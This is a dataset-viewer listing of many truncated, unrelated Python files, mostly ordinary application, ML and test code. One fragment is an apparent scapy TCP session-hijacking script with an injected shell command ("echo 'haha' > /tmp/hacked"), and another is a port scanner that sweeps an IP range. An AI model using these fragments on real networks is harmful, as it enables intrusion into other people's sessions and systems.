content stringlengths 5 1.05M |
|---|
from __future__ import absolute_import
try:
__VICE_SETUP__
except NameError:
__VICE_SETUP__ = False
if not __VICE_SETUP__:
__all__ = ["test"]
from .....testing import moduletest
from ._generic import generic_test
from ._no_migration import no_migration_test
from ._separation import separation_test
... |
list = []
num = int(input("Enter size of list: \t"))
for n in range(num):
numbers = int(input("Enter any number: \t"))
list.append(numbers)
x = int(input("\nEnter number to search: \t"))
found = False
for i in range(len(list)):
if list[i] == x:
found = True
print("\n%d found ... |
#!/Users/zamy/Desktop/Python_Projects/excl_intrnship_projects/excl_internship_0/internship_4/internship_4/internship4_env/bin/python3
from django.core import management
if __name__ == "__main__":
management.execute_from_command_line()
|
import numpy as np
def EnforceRange(x, MaxValue):
return min(max(x, 0), MaxValue)
# pythran export flow_warp_c(float64[:,:,:], float64[:,:,2], int?, int?)
def flow_warp_c(img, flow, filling_value=0, interpolate_mode=1):
out = np.zeros_like(img)
height, width, channels = out.shape
for h in range(heig... |
"""
1005_introduce_special_case.py
范例 一家提供公共事业服务的公司将自己的服务安装在各个场所(site)
范例2 使用对象字面量(literal object) 只读逻辑下的简化 -- Python 可以用 namedtuple
范例3 使用变换
"""
from dataclasses import dataclass
@dataclass
class Customer:
name: str
billing_plan: str
class Site:
def __init__(self, customer: Customer) -> None:
... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2014 Radim Rehurek <radimrehurek@seznam.cz>
# Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html
"""
Python wrapper for Latent Dirichlet Allocation (LDA) from MALLET, the Java topic modelling
toolkit [1]_.
This module allows both L... |
#!/usr/bin/python
import sys
import getopt
from scapy.all import send, sniff, IP, TCP
dev = "eth0"
srv_port = None
srv_ip = None
client_ip = None
grep = None
inject_data = "echo 'haha' > /tmp/hacked\n"
hijack_data = {}
def handle_packet(packet):
ip = packet.getlayer("IP")
tcp = packet.getlayer("TCP")
f... |
from Exercise5.leastSquares import least_squares_fit, calculate_polynomial
import matplotlib.pyplot as plt
from math import sqrt
def main():
# AUTO HELLAS
# next stock predict 18/3 index 10
# after 5 meetings stock predict 24/3 index 14
# Ημ/νία Κλείσιμο ΜΕΤ.% Άνοιγμα Υψηλό Χαμηλό... |
from injector import singleton
from service import RepairmentsService
from repository import DataBase, SqliteDataBase
def configure(binder):
binder.bind(RepairmentsService, to=RepairmentsService, scope=singleton)
binder.bind(DataBase, to=SqliteDataBase, scope=singleton)
|
# import getTensors
import database
# import Person
# import PxFeatureVector
# import feature_extractor_interface_example
from feature_extractor_interface_example import example
class entry:
# tensors = getTensors.getTensors()
# db = database.database(-1, -1) # Gute Werte???
# print("Test")
# all... |
# Copyright © 2022 Province of British Columbia
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... |
import torch
import torch.nn as nn
import math
class AnchorGenerator(nn.Module):
def __init__(self, opt):
super(AnchorGenerator, self).__init__()
self.num_levels = opt['num_levels']
self.tscale = opt["temporal_scale"]
self.scales = opt['anchor_scale'] #8 # 1
self.base_str... |
#import math
'''
Calculate the greatest common divisor of two integers a and b.
Using the Euclidian algorithm
'''
def greatest_common_divisor(a, b):
if a < b:
a, b = b, a
while a % b != 0:
a, b = b, a % b
return b
'''
Extended Euclidian Algorithm.
As extension on t... |
from unittest.mock import patch, MagicMock
from conveyor.test_mock.gpio_mock import GPIOMock, ListenerSocketClient
mock_host, mock_port = 'localhost', 42024
mock_based_api_host, mock_based_api_port = '127.0.0.1', 5000
MockRPi = MagicMock()
# fetching simulation-mock
MockRPi.GPIO = GPIOMock(ListenerSocketClient(mock_... |
# Generated by Django 2.1.4 on 2019-01-21 07:54
import cloudinary.models
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('articles', '0008_auto_20190121_0751'),
]
operations = [
migrations.AlterField(
model_name='article',
... |
"""
MIT License
Copyright (c) 2021-present Qwire Development Team
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify... |
#!/usr/bin/env python
# The midi_data_byte custom data script is intended to be run from within the MIDI Sysex Grammar file
# MIDI Data Byte
#
# All bytes between the System Exclusive status byte and EOX (or the next status byte) must have zero in the top bit.
# MIDI Data Bytes range in value from 0 to 127.
def par... |
#!/bin/python
# Solution for https://www.hackerrank.com/challenges/strange-advertising
n = int(raw_input().strip())
total = 0
current = 2
total = current
for day in range(n-1):
current = (current * 3) // 2
total += current
print total
#f(n+1) = f(n) * 3 // 2 |
# NOT_RPYTHON
# do not load cppyy here, see _init_pythonify()
import types
import sys
# For now, keep namespaces and classes separate as namespaces are extensible
# with info from multiple dictionaries and do not need to bother with meta
# classes for inheritance. Both are python classes, though, and refactoring
# ma... |
# The MIT License (MIT)
# Copyright (c) 2014-2015 CNRS
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, m... |
import abc
import json
import os
import re
from sympy import lambdify
from sympy.abc import x, y
from sympy.parsing.sympy_parser import parse_expr
from sympy.utilities.iterables import iterable
# These settings are considered as default when there is no recent session file
SETTINGS_BY_MODES = {
'ARBIT... |
#!/usr/bin/env python3
import sys
values = []
with open(sys.argv[1],'r') as fp:
for line in fp:
values.append(int(line))
for val in values:
corrVal = 2020 - val - int(line)
if corrVal in values:
mulVal = corrVal * val * int(line)
print(corrVa... |
import codecs
import os.path
import re
from setuptools import setup
here = os.path.abspath(os.path.dirname(__file__))
# Read the version number from a source file.
def find_version(*file_paths):
# Open in Latin-1 so that we avoid encoding errors.
# Use codecs.open for Python 2 compatibility
with codecs.... |
class Solution:
def minDiffInBST(self, root):
def dfs(node):
if not node: return float("inf"), float("inf"), -float("inf")
l, lMn, lMx = dfs(node.left)
r, rMn, rMx = dfs(node.right)
return min(l, node.val - lMx, r, rMn - node.val), min(lMn, node.val), max(rMx,... |
#!/usr/bin/env python3
import logging
import os
import sys
import pytest
from test.integration.common import IpVersion
from test.integration.integration_test_fixtures import (http_test_server_fixture,
https_test_server_fixture)
from test.integration.utility impo... |
# coding: utf-8
from __future__ import absolute_import
from django.core import mail
from sentry.models import OrganizationMember
from sentry.testutils import TestCase
class PendingOrganizationMemberTest(TestCase):
def test_token_generation(self):
member = OrganizationMember(id=1, organization_id=1, ema... |
#
# Copyright (C) 2016 CERN.
#
# B2Share is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
#
# B2Share is distributed in the hope that i... |
#
# Copyright (c) SAS Institute Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... |
from flaml import AutoML
from sklearn.ensemble import RandomForestRegressor
import numpy as np
import joblib
from rdkit.Chem import rdMolDescriptors as rd
from rdkit import Chem
RADIUS = 3
NBITS = 2048
DTYPE = np.uint8
def clip_sparse(vect, nbits):
l = [0]*nbits
for i,v in vect.GetNonzeroElements().items():... |
"""
Core classes for XBlocks.
This code is in the Runtime layer, because it is authored once by edX
and used by all runtimes.
"""
import functools
import pkg_resources
try:
import simplesjson as json # pylint: disable=F0401
except ImportError:
import json
from webob import Response
from xblock.exceptions im... |
import time
def leibniz(n):
s=0
for i in range(n):
a=(-1)**i * 1/(2*i+1)
s+=a
return 4*s
def main():
start = time.time()
print(leibniz(100000000))
end= time.time()
print("elapsed", end-start)
if __name__ == '__main__':
main() |
import socket
def connect(hostname, port_):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = sock.connect_ex((hostname, port_))
sock.close()
return result == 0
def brut_oct(ip, port_):
ip_list_open_port.clear()
for oct_4 in range(... |
import datetime
import os
import time
import numpy as np
import requests
from dotenv import load_dotenv
from transformers import DistilBertTokenizerFast, DistilBertForSequenceClassification
from utils import remove_code_block, remove_url
load_dotenv() # for local development
DELTA = int(os.environ.get("DELTA"))
SEC... |
import Caeser
if __name__=='__main__':
Caeser.initializeDictionaries()
# Test
message = 'Some random text with UPPER and lower alphabets...!'
print('Plain Text:', message)
cipher = Caeser.encryption(message)
print('Ciphertext:', cipher)
plain = Caeser.decryption(cipher)
pr... |
"""
OpenSSH tasks
=============
This module provides tools to manage OpenSSH server and client.
"""
from __future__ import with_statement
from fabric.api import hide, shell_env
from fabric.contrib.files import append, sed
from fabtools.service import is_running, restart
from fabtools.files import watch
def harden... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import mysql.connector
from DBINFO import *
class DbManage(object):
"""
Class dedicated to database management.
This class will handle pretty much all the
MySQL DB access needed by this programm
Confidential database data should be stored
in DB... |
import urllib
from django.contrib import messages
from django.contrib.auth import authenticate, login, logout
from django.http import HttpRequest, HttpResponseRedirect
from django.shortcuts import redirect
from django.urls import reverse
from django.utils.http import is_safe_url
from django.utils.translation import ug... |
def count_positives_sum_negatives(arr):
neg = 0
pos = 0
if arr==[]:
return []
else:
for a in arr:
if a > 0:
pos += 1
else:
neg += a
return [pos, neg] |
# -*- coding: utf-8 -*-
import matplotlib.pyplot as plt
import numpy as np
import sys
class PointT:
def __init__(self, t, x, y):
self.x = x
self.y = y
self.t = t
def loadPoints(filePath):
file = open(filePath, 'r')
lines = file.readlines()
ansList = []
for line in lines:
... |
# Python
# Django
from django.core.context_processors import csrf
from django.core.urlresolvers import reverse
from django.http import HttpResponseRedirect, JsonResponse
from django.shortcuts import render
from django.views.generic import TemplateView, ListView, DetailView, UpdateView
# Mixins
from braces.views impo... |
import os
from keystoneauth1.identity import v3
from keystoneauth1 import session
from novaclient import client
VERSION=2
AUTH_URL=os.getenv("OS_AUTH_URL")
USERNAME=os.getenv("OS_USERNAME")
PASSWORD=os.getenv("OS_PASSWORD")
PROJECT_ID=os.getenv("OS_PROJECT_ID")
PROJECT_NAME=os.getenv("OS_PROJECT_NAME")
USER_DOMAIN_ID=... |
# Generated by Django 2.2.3 on 2019-07-05 08:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('video', '0002_auto_20190705_0808'),
]
operations = [
migrations.DeleteModel(
name='VideoType',
),
migrations.Alt... |
# @Title: 最长回文子串 (Longest Palindromic Substring)
# @Author: 18015528893
# @Date: 2021-02-18 14:28:08
# @Runtime: 1000 ms
# @Memory: 15 MB
class Solution:
def longestPalindrome(self, s: str) -> str:
if len(s) < 2:
return s
def expand(l, r):
while l < r:
if l... |
"""
Aeromet
=======
Just download metar and taf (raw data) from NOAA
No parsing here
"""
from urllib.request import urlopen
import datetime
class Aeromet():
airport = None
def __init__(self, icao):
self.icao = icao.upper()
self.noaa = 'http://... |
from conflagrate import BlockingBehavior, BranchingStrategy, nodetype, run
from typing import Tuple
@nodetype('salutation')
def salutation() -> str:
return input('Hello, what is your name?\n')
@nodetype('matcher', BranchingStrategy.matcher, BlockingBehavior.NON_BLOCKING)
def matcher(name: str) -> Tuple[str, str... |
import asyncio
from typing import Any, Dict, Optional
import botocore.exceptions
from astronomer.providers.amazon.aws.hooks.base_aws_async import AwsBaseHookAsync
class RedshiftHookAsync(AwsBaseHookAsync):
"""Interact with AWS Redshift using aiobotocore python library"""
def __init__(self, *args: Any, **kw... |
#Imports
from ..utils import queueToList
from .abstract import Abstract
from urllib.request import Request, urlopen
from json import dumps
from base64 import b64encode
### Configuration du module ###
URL_RACINE = "http://192.168.200.1:8000/"
URL_TO_POST = "http://192.168.200.1:8000/get"
... |
def getExpenses(data):
return [int(e.strip()) for e in data.strip().split("\n")]
def findPairSum(expenses, target):
seen = set()
for e in expenses:
if target - e in seen:
return e, target - e
seen.add(e)
def part1(data):
n1, n2 = findPairSum(getExpenses(data), 2020)
r... |
from django.conf.urls import url
from payments import views
urlpatterns = [
url(r'^$', views.index, name='payments'),
url(r'^bulk_pay/$', views.bulk_pay, name='bulk_pay'),
url(r'^payment_tiles/$', views.payment_tiles, name='payment_tiles'),
url(r'^bulk_pay/$', views.bulk_pay, name='bulk_pay'),
url(... |
# Generated by Django 2.0.4 on 2018-05-04 14:39
import django.db.models.deletion
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
ope... |
import unittest
def check_permutation(str1, str2):
if len(str1) != len(str2):
return False
for c in str1:
if c not in str2:
return False
return True
class Test(unittest.TestCase):
dataT = [('abc', 'acb'), ('qwert', 'wertq'), ('', '')]
dataF = [('acb', 'asd'), ('acv', '')]
def test_check_... |
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
import azure.functions as func
def main(req: func.HttpRequest, file: func.InputStream) -> str:
return file.read().decode('utf-8')
|
# csrf.py - simple, low-level, framework-agnostic, BREACH-resistant,
# time-windowed/expiring CSRF tokens (for Unix-like systems)
# Copyright © 2016 - 2018 Ben Golightly <golightly.ben@googlemail.com>
# Copying and distribution of this file, with or without modification,
# are permitted in any medium without royalty... |
"""Constants for hachina_example1 integration."""
DOMAIN = "hachina_example1"
# 预定义配置文件中的key值
CONF_VALUE = "value"
# 预定义缺省的配置值
DEFAULT_VALUE = "积木构建智慧空间!" |
class EndpointManager:
def __init__(self):
self.base_url = "https://developers.zomato.com/api/v2.1"
self.endpoints = self.get_endpoints()
def get_endpoints(self):
endpoints = {
'categories': self.base_url + '/categories',
'cities': self.base_url + '/cities',
... |
from rest_framework import serializers
from .models import User
class userProfileSerializer(serializers.ModelSerializer):
user=serializers.StringRelatedField(read_only=True)
class Meta:
model=User
fields='__all__'
|
#! /usr/bin/env python
"""Copyright (c) Facebook, Inc. and its affiliates.
All rights reserved.
This source code is licensed under the license found in the LICENSE file in the
root directory of this source tree.
Visualizes bounding boxes from SCENE JSON files for SIMMC 2.0.
Author(s): Satwik Kottur
"""
from __future... |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import numpy as np
from util.logger import log
from lib.rays import rays_from_silh
from models.smpl import model_params_in_camera_coords
sess = None
class FrameData(object):
pass
def batch_invert(x):
try:
import tensorflow as tf
global sess
... |
# -*- coding: utf-8 -*-
# Owlready2
# Copyright (C) 2013-2019 Jean-Baptiste LAMY
# LIMICS (Laboratoire d'informatique médicale et d'ingénierie des connaissances en santé), UMR_S 1142
# University Paris 13, Sorbonne paris-Cité, Bobigny, France
# This program is free software: you can redistribute it and/or modify
# it ... |
from client import exceptions as ex
from client.api import assignment
from client.sources.common import core
import collections
import mock
import unittest
class LoadAssignmentTest(unittest.TestCase):
VALID_CONFIG = """
{
"name": "Homework 1",
"endpoint": "https://okpy.org/path/to/endpoint",
... |
from django import forms
from django.contrib.auth.forms import UserCreationForm, UserChangeForm, AuthenticationForm
from django.forms import ModelForm
from .models import UsuarioUca, uvalidonifworld, uvalidonifspain, validonifspain, validonifworld, Estudiante, PASS, \
Profesor
from django.core.validators import ... |
import json
import logging
import math
import os
import os.path
import pickle
import subprocess
from typing import List
from keras.callbacks import History
from networks import train_nn
from game.models import ValuePolicyModel
from generators import Experience
from helpers import get_timestamp
from utils.plots impor... |
import requests
import bs4
inn = 7726402390
url = f'https://e-ecolog.ru/entity/{inn}/finance'
page = requests.get(url)
html = bs4.BeautifulSoup(page.text, "html.parser")
years = html.findAll('div', class_='mb-20 border-t border-gray-200')
dct = {}
for y in years:
year_num = y.find('a')['name']
dct[year_num] = ... |
# Copyright 2018 DeepMind Technologies Limited. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by ... |
import threading
from queue import Queue
from spider import Spider
from domain import *
from general import *
PROJECT_NAME = 'sebastianwalter'
HOMEPAGE = 'http://sebastianwalter.org'
DOMAIN_NAME = get_domain_name(HOMEPAGE)
QUEUE_FILE = PROJECT_NAME + '/queue.txt'
CRAWLED_FILE = PROJECT_NAME + '/crawled.txt'
NUMBER_OF_... |
from flask import *
app = Flask(__name__)
name = ''
login = ''
@app.route('/<int:id>', methods=['GET', 'POST'])
@app.route('/', methods=('GET', 'POST'))
def index(id=None):
global name, login
if request.method == 'POST':
if request.form.get('account') == 'xiannv' and request.form.get('pwd') == 'zhang... |
import numpy as np
import matplotlib.pyplot as plt
from torch.autograd import Function
from sklearn.manifold import TSNE
import torch
import itertools
import os
class ReverseLayerF(Function):
@staticmethod
def forward(ctx, x, alpha):
ctx.alpha = alpha
return x.view_as(x)
@staticmetho... |
#!/usr/bin/env python
""" check ssl cert info"""
# We just want to see any exception that happens
# don't want the script to die under any cicumstances
# script must try to clean itself up
# pylint: disable=broad-except
# main() function has a lot of setup and error handling
# pylint: disable=too-many-statements
# m... |
"""
## Questions: MEDIUM
### 622. [Design Circular Queue](https://leetcode.com/problems/design-circular-queue/)
Design your implementation of the circular queue. The circular queue is a linear data structure in which the operations
are performed based on FIFO (First In First Out) principle and the last position is co... |
from abc import ABC, abstractmethod
from functools import total_ordering
import numpy as np
from math2.econ.factors import fp
class Int(ABC):
"""Int is the abstract base class for all interests."""
def __init__(self, rate):
self.rate = rate
@abstractmethod
def to_factor(self, t=1):
... |
import itertools
import tensorflow as tf
from tensorflow.core.example import example_pb2
import numpy as np
from tqdm import tqdm
import copy
import util
from absl import flags
from absl import app
import sys
import os
import hashlib
import struct
import subprocess
import collections
import json
from di... |
import json
from django.contrib.gis.gdal import CoordTransform, SpatialReference
from django.core.serializers.base import SerializerDoesNotExist
from django.core.serializers.json import Serializer as JSONSerializer
class Serializer(JSONSerializer):
"""
Convert a queryset to GeoJSON, http://geojson.org/
"... |
from datetime import timedelta
from parsimonious import Grammar, ParseError, IncompleteParseError
tscript_grammar = """
script = lines
lines = line*
line = ( expression / ws_s ) comment? nl_p
expression = ws_s ( jump_point / goto / function / ifelse / whiledo / bloc... |
#!/usr/bin/env python3
# Copyright (c) 2018 Anki, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License in the file LICENSE.txt or at
#
# https://www.apache.org/licenses/LICENSE-2.0
... |
from .cutoff_pruner import CutoffPruner
__all__ = ["CutoffPruner"]
|
import pytest
from sentencepiece import SentencePieceProcessor
from torch.utils.data import DataLoader
from convert.config import ConveRTTrainConfig
from convert.dataset import ConveRTDataset, convert_collate_fn, load_instances_from_reddit_dataset
REDDIT_SAMPLE_DATA = {
"context_author": "Needs_Mega_Magikarp",
... |
# -*- coding: utf-8 -*-
#
# Copyright 2017 Chrysus
# Licensed under MIT (https://github.com/Chrysus/sixweeks/blob/master/LICENSE)
"""sixweeks_project URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
F... |
from asyncio.tasks import current_task
import discord
from discord.ext import commands
from discord.ext.commands import bot
from discord_components import *
from discord_components.dpy_overrides import send_files
from src.cogs.utilities import setup
from src.constants.help_embeds import embeds, get_cmd_embed
from src.c... |
class Node:
def __init__(self, idx, name, shape="box", color="#d6d6d6"):
self.idx = idx
self.name = name
self.shape = shape
self.color = color
|
"""
# GitHub examples repository path: RadioTestSets/Python/RsInstrument
Created on 2022/05
Author: Jahns_P
Version Number: 1
Date of last change: 2022/05/04
Requires: CMA180 with adequate options, FW 1.7.20 or newer
Description: Example for automated DMR RX Sensitivity measurement using audio feedback
... |
from core.website_screenshot_with_screenshotapi import WebsiteScreenshotGenerator
from core.file_blob_writer import FileBlobWriter
from os.path import expanduser
# get the screenshot
image_bytes = WebsiteScreenshotGenerator("bd17a1e1-db43-4686-9f9b-b72b67a5535e")\
.capture("http://espn.go.com", 500, 500).image_byt... |
#!/usr/bin/env python
#-----------------------------------------------------------------------------
# Title : pysmurf debug module - SmurfIVMixin class
#-----------------------------------------------------------------------------
# File : pysmurf/debug/smurf_iv.py
# Created : 2018-09-17
#---------------... |
def calc_shipping():
print("calc shipping")
|
# -*- coding: utf-8 -*-
""" gutils/images/postprocessing/__init__ """
from gutils.images.postprocessing.remove_bg import RemoveBG
|
import os
import logging
api_version = os.getenv("MENDER_API_VERSION", "v1")
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# don't complain about non-verified ssl connections
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from common import *
from common... |
#!/user/bin/python
import matplotlib.pyplot as plt
from numpy import *
def readfile(file):
from netCDF4 import MFDataset
return MFDataset(file)
def make_spatial_plot(cmaqvar, x, y, date, m, dpi=None, savename='', levs=arange(0, 100, 10), cmap='YlGnBu'):
fig = plt.figure(figsize=(12, 6), frameon=False)
... |
from sqlalchemy import create_engine, select, func
from sqlalchemy import Table, Column, Integer, String, DateTime, MetaData, ForeignKey
from sqlalchemy.dialects.postgresql import UUID
import uuid
import hashlib
import datetime
import os
import random
# get these from environment
MURMEL_POSTGRES_USER = os.getenv("MUR... |
from ..batcher import Batcher
def test_smoke():
data = [
{'words': [1, 2, 3, 4], 'labels': [5, 6, 7, 8]},
{'words': [2, 2, 1], 'labels': [1, 1, 1]},
]
batched_data = Batcher(data, batch_size=2)
batched_data = list(batched_data)
assert len(batched_data) == 1
words, labels = ... |
from django.core.exceptions import ValidationError
from django.core.validators import validate_email, RegexValidator
from django.http import HttpResponse
from django.shortcuts import render, redirect
from django.views.generic.base import View
from django.core.mail import send_mail
from django.contrib import messages
... |
""" config """
from os import environ
testconfig = {
'AZURE_STORAGE_NAME': environ.get('AZURE_STORAGE_NAME',''),
'AZURE_STORAGE_KEY': environ.get('AZURE_STORAGE_KEY',''),
'AZURE_REQUIRE_ENCRYPTION': False,
'AZURE_STORAGE_IS_EMULATED': False,
'AZURE_KEY_IDENTIFIER': 'azurestoragewrap_test',
'AZU... |
from app.models import *
class Term(baseModel):
description = CharField()
year = IntegerField()
academicYear = CharField()
isBreak = BooleanField(default=False)
isSummer = BooleanField(default=False)
isCurrentTerm = BooleanField(default=False)
|
"""Functions and objects used by doctests in the module code."""
from dnd5edb.collection import Spells
s = Spells()
class BlankClass():
None
def aobj(value, attr='a'):
"""Generate a simple object with attribute `attr` set to `value`."""
o = BlankClass()
setattr(o, attr, value)
return o
def obj_f... |
#!/usr/bin/env python3
import argparse
import configparser
import dbus
import os
import psutil
import struct
import subprocess
import sys
from collections import defaultdict
from dbus.mainloop.glib import DBusGMainLoop
from errno import EACCES, EPERM
from gi.repository import GLib
from mmio import MMIO, MMIOError
fro... |
from ..remote import RemoteModel
from infoblox_netmri.utils.utils import check_api_availability
class SwitchFwdNeighborRemote(RemoteModel):
"""
Neighbor relationships between a device providing L2 switching and the peer device.
| ``DataSourceID:`` The internal NetMRI identifier for the collector Ne... |
# Simon | Temple Guide - Hanukkah
# Happyville
sm.sendSayOkay("Shalom!") |
# -*- coding: utf-8 -*-
__author__ = "Waterball (johnny850807@gmail.com)"
__license__ = "Apache 2.0"
# scip plugin
from spring_cloud.commons.client.discovery import CompositeDiscoveryClient, static_discovery_client
client = CompositeDiscoveryClient(
static_discovery_client("url-1", "service-1", ["1-1", "1-2", "1... |
import os
import pytest
import json
from contextlib import contextmanager
from geventhttpclient import HTTPClient
from gevent.ssl import SSLError
import gevent.pool
import gevent.server
listener = ('127.0.0.1', 5432)
@contextmanager
def server(handler):
server = gevent.server.StreamServer(
listener,
... |
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
#
# Description: generate inputs and targets for the DLRM benchmark
#
# Utility function(s) to download and pre-process public data sets
# - ... |
###################################
# File Name : first_class_function_variable.py
###################################
#!/usr/bin/python3
def square(x):
return x*x
def main():
print ("Function call")
print (square(10))
print ("Assign variable")
f = square
print (f(10))
if __name__ == "__mai... |
from datetime import datetime, timezone
from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class UserProfile(models.Model):
user=models.OneToOneField(User, on_delete=models.CASCADE)
def __str__(self):
return self.user.username
class Thread(models.Model... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.